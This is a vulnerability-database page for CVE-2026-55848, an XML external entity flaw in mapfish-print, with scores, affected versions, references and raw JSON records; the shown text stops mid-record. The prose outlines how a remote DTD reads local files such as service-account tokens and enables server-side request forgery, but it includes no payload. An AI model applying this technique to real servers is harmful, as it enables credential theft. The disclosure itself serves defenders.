Vulnerability-Lookup

CVE-2026-55848 (GCVE-0-2026-55848)

Vulnerability from cvelistv5 – Published: 2026-08-28 22:31 – Updated: 2026-08-31 14:10

Title

mapfish-print: XXE on MapFish Print allows reading arbitrary files of certain types

Summary

mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-31 14:07 UTC

CWE

CWE-611 - Improper Restriction of XML External Entity Reference

Assigner

GitHub_M mitre root

References

17 references

URL	Tags
https://github.com/mapfish/mapfish-print/security…	x_refsource_CONFIRM
https://github.com/mapfish/mapfish-print/pull/4212	x_refsource_MISC
https://github.com/mapfish/mapfish-print/pull/4215	x_refsource_MISC
https://github.com/mapfish/mapfish-print/pull/4216	x_refsource_MISC
https://github.com/mapfish/mapfish-print/pull/4217	x_refsource_MISC
https://github.com/mapfish/mapfish-print/pull/4219	x_refsource_MISC
https://github.com/mapfish/mapfish-print/pull/4221	x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/1…	x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/2…	x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/3…	x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/5…	x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/a…	x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/d…	x_refsource_MISC
https://github.com/mapfish/mapfish-print/releases…	x_refsource_MISC
https://github.com/mapfish/mapfish-print/releases…	x_refsource_MISC
https://github.com/mapfish/mapfish-print/releases…	x_refsource_MISC
https://github.com/mapfish/mapfish-print/releases…	x_refsource_MISC

Impacted products

3 products

Vendor	Product	Version	CPE status
mapfish	mapfish-print	Affected: >= 3.0.0, < 3.28.30 Affected: >= 3.29.0, < 3.30.32 Affected: >= 3.31.0, < 3.31.24 Affected: >= 3.32.0, < 3.33.16 Affected: >= 4.0.0, < 4.0.5	guessed
mapfish	org.mapfish.print.print-lib	Affected: >= 3.0.0, < 3.28.30 Affected: >= 3.29.0, < 3.30.32 Affected: >= 3.31.0, < 3.31.24 Affected: >= 3.32.0, < 3.33.16 Affected: >= 4.0.0, < 4.0.5	guessed
mapfish	org.mapfish.print.print-servlet	Affected: >= 3.0.0, < 3.28.30 Affected: >= 3.29.0, < 3.30.32 Affected: >= 3.31.0, < 3.31.24 Affected: >= 3.32.0, < 3.33.16 Affected: >= 4.0.0, < 4.0.5	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55848",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-31T14:07:17.404690Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-31T14:10:14.891Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mapfish-print",
          "vendor": "mapfish",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.28.30"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.29.0, \u003c 3.30.32"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.31.0, \u003c 3.31.24"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.32.0, \u003c 3.33.16"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.0.5"
            }
          ]
        },
        {
          "product": "org.mapfish.print.print-lib",
          "vendor": "mapfish",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.28.30"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.29.0, \u003c 3.30.32"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.31.0, \u003c 3.31.24"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.32.0, \u003c 3.33.16"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.0.5"
            }
          ]
        },
        {
          "product": "org.mapfish.print.print-servlet",
          "vendor": "mapfish",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.28.30"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.29.0, \u003c 3.30.32"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.31.0, \u003c 3.31.24"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.32.0, \u003c 3.33.16"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.0.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-611",
              "description": "CWE-611: Improper Restriction of XML External Entity Reference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-28T22:31:26.705Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/pull/4212",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/pull/4212"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/pull/4215",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/pull/4215"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/pull/4216",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/pull/4216"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/pull/4217",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/pull/4217"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/pull/4219",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/pull/4219"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/pull/4221",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/pull/4221"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24"
        },
        {
          "name": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5"
        }
      ],
      "source": {
        "advisory": "GHSA-5v29-34h8-v68r",
        "discovery": "UNKNOWN"
      },
      "title": "mapfish-print: XXE on MapFish Print allows reading arbitrary files of certain types"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55848",
    "datePublished": "2026-08-28T22:31:26.705Z",
    "dateReserved": "2026-06-17T16:44:40.994Z",
    "dateUpdated": "2026-08-31T14:10:14.891Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-55848",
      "date": "2026-09-18",
      "epss": "0.00331",
      "percentile": "0.2653"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "mapfish-print",
                "vendor": "mapfish",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 3.0.0, \u003c 3.28.30"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 3.29.0, \u003c 3.30.32"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 3.31.0, \u003c 3.31.24"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 3.32.0, \u003c 3.33.16"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 4.0.0, \u003c 4.0.5"
                  }
                ]
              },
              {
                "product": "org.mapfish.print.print-lib",
                "vendor": "mapfish",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 3.0.0, \u003c 3.28.30"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 3.29.0, \u003c 3.30.32"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 3.31.0, \u003c 3.31.24"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 3.32.0, \u003c 3.33.16"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 4.0.0, \u003c 4.0.5"
                  }
                ]
              },
              {
                "product": "org.mapfish.print.print-servlet",
                "vendor": "mapfish",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 3.0.0, \u003c 3.28.30"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 3.29.0, \u003c 3.30.32"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 3.31.0, \u003c 3.31.24"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 3.32.0, \u003c 3.33.16"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 4.0.0, \u003c 4.0.5"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5."
          }
        ],
        "id": "CVE-2026-55848",
        "lastModified": "2026-09-09T21:09:13.080",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.6,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 4.0,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-55848",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-31T14:07:17.404690Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-28T23:17:08.013",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/pull/4212"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/pull/4215"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/pull/4216"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/pull/4217"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/pull/4219"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/pull/4221"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-611"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-55848",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-31T14:07:17.404690Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-31T14:07:28.992Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "mapfish-print",
              "vendor": "mapfish",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 3.0.0, \u003c 3.28.30"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 3.29.0, \u003c 3.30.32"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 3.31.0, \u003c 3.31.24"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 3.32.0, \u003c 3.33.16"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 4.0.0, \u003c 4.0.5"
                }
              ]
            },
            {
              "product": "org.mapfish.print.print-lib",
              "vendor": "mapfish",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 3.0.0, \u003c 3.28.30"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 3.29.0, \u003c 3.30.32"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 3.31.0, \u003c 3.31.24"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 3.32.0, \u003c 3.33.16"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 4.0.0, \u003c 4.0.5"
                }
              ]
            },
            {
              "product": "org.mapfish.print.print-servlet",
              "vendor": "mapfish",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 3.0.0, \u003c 3.28.30"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 3.29.0, \u003c 3.30.32"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 3.31.0, \u003c 3.31.24"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 3.32.0, \u003c 3.33.16"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 4.0.0, \u003c 4.0.5"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.6,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-611",
                  "description": "CWE-611: Improper Restriction of XML External Entity Reference",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-28T22:31:26.705Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/pull/4212",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/pull/4212"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/pull/4215",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/pull/4215"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/pull/4216",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/pull/4216"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/pull/4217",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/pull/4217"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/pull/4219",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/pull/4219"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/pull/4221",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/pull/4221"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24"
            },
            {
              "name": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5"
            }
          ],
          "source": {
            "advisory": "GHSA-5v29-34h8-v68r",
            "discovery": "UNKNOWN"
          },
          "title": "mapfish-print: XXE on MapFish Print allows reading arbitrary files of certain types"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-55848",
        "datePublished": "2026-08-28T22:31:26.705Z",
        "dateReserved": "2026-06-17T16:44:40.994Z",
        "dateUpdated": "2026-08-31T14:10:14.891Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-55848

Vulnerability from fkie_nvd - Published: 2026-08-28 23:17 - Updated: 2026-09-09 21:09

Severity

8.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/pull/4212
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/pull/4215
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/pull/4216
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/pull/4217
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/pull/4219
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/pull/4221
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/releases/tag/3.28.30
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/releases/tag/3.30.32
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/releases/tag/3.31.24
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/releases/tag/4.0.5
	security-advisories@github.com	https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mapfish-print",
          "vendor": "mapfish",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.28.30"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.29.0, \u003c 3.30.32"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.31.0, \u003c 3.31.24"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.32.0, \u003c 3.33.16"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.0.5"
            }
          ]
        },
        {
          "product": "org.mapfish.print.print-lib",
          "vendor": "mapfish",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.28.30"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.29.0, \u003c 3.30.32"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.31.0, \u003c 3.31.24"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.32.0, \u003c 3.33.16"
            },
            {
